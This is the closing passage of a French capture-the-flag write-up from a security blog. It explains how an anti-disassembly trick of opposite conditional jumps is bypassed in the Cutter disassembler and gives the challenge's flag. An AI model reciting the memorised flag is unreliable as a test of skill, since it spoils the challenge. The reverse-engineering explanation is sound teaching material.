<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-q9M_AOzJ_a0/W8iFR6vqHCI/AAAAAAAAAkQ/sxYw2esFTxo2h6zW4EaNda-vLRWrbXm7QCLcBGAs/s1600/5_2.png" border="0" data-original-height="551" data-original-width="524" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">Il s&rsquo;agit là d&rsquo;une technique anti-reverse, que l&rsquo;on peut observer plus en détails dans l&rsquo;affichage linéaire de Cutter :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png"><img decoding="async" src="https://3.bp.blogspot.com/-6BTguhm1L3c/W8iI9lxdBnI/AAAAAAAAAk8/Ky41z5DUWN0qtzDR6wBye1ej1kAimrQEgCLcBGAs/s1600/5_4_1.png" border="0" data-original-height="182" data-original-width="446" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ci-dessous le détail des instructions :</div>
<div style="text-align: justify;"></div>
<ul>
<li><i>push rax</i> : sauvegarde la valeur courante de RAX sur la pile</li>
<li><i>xor eax, eax</i> : remet la valeur de EAX à 0</li>
<li><i>test eax, eax</i> : teste si la valeur de EAX est nulle et fixe le flag Z à 1</li>
<li><i>pop rax</i> : récupère la valeur sauvegardée de RAX depuis la pile</li>
<li><i>jne 0x4009ee</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 0 (non pris)</li>
<li><i>je 0x4009ef</i> : saute à l&rsquo;adresse indiquée si le flag Z vaut 1 (pris)</li>
</ul>
<div>Seulement, les instructions à l&rsquo;adresse <b>0x4009ef </b>ne sont pas désassemblées puisqu&rsquo;une instruction <b>jmp </b>commence à l&rsquo;octet précédent. Le saut à l&rsquo;octet précédent n&rsquo;étant jamais emprunté, il est possible d&rsquo;ignorer cette instruction et de demander le désassemblage à partir de <b>0x4009ef</b>.</div>
<div>Pour cela, un clic-droit à l&rsquo;adresse <b>0x4009ee </b>fait apparaître le menu suivant :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png"><img decoding="async" src="https://4.bp.blogspot.com/-kM26ZY4huGE/W8iFSZy3O3I/AAAAAAAAAkw/PdN6Af1Kmk0b9GQW7X8Hik087piyn3fzACEwYBhgL/s1600/5_4.png" border="0" data-original-height="166" data-original-width="481" /></a></div>
<div></div>
<div>Il est alors possible d&rsquo;observer le code qui devrait être normalement exécuté :</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png"><img decoding="async" src="https://3.bp.blogspot.com/-_7mO1fWzQ1Y/W8iFSw4EagI/AAAAAAAAAk0/zoH48-ParjgdUI09V49VImKfDWPe6P6AwCEwYBhgL/s1600/5_5.png" border="0" data-original-height="78" data-original-width="353" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d&rsquo;identifier la fonction qui gère le flag, <b>sub.BB_7c2</b>. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :</div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png"><img decoding="async" src="https://2.bp.blogspot.com/-JWo-np9INfo/W8iFTSyG-YI/AAAAAAAAAk0/c_D-NPTox-gO22vANyivEGp0XXW5Xp2swCEwYBhgL/s1600/5_6.png" border="0" data-original-height="384" data-original-width="404" /></a></div>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div>Le flag récupéré est alors <span class="w-inline-code">sigsegv{W3llPl4y3d}</span>.</div>
</div>
<p>&nbsp;</p>
<div style="text-align: right;"><b><span style="color: #351c75;">Jean MARSAULT</span></b></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
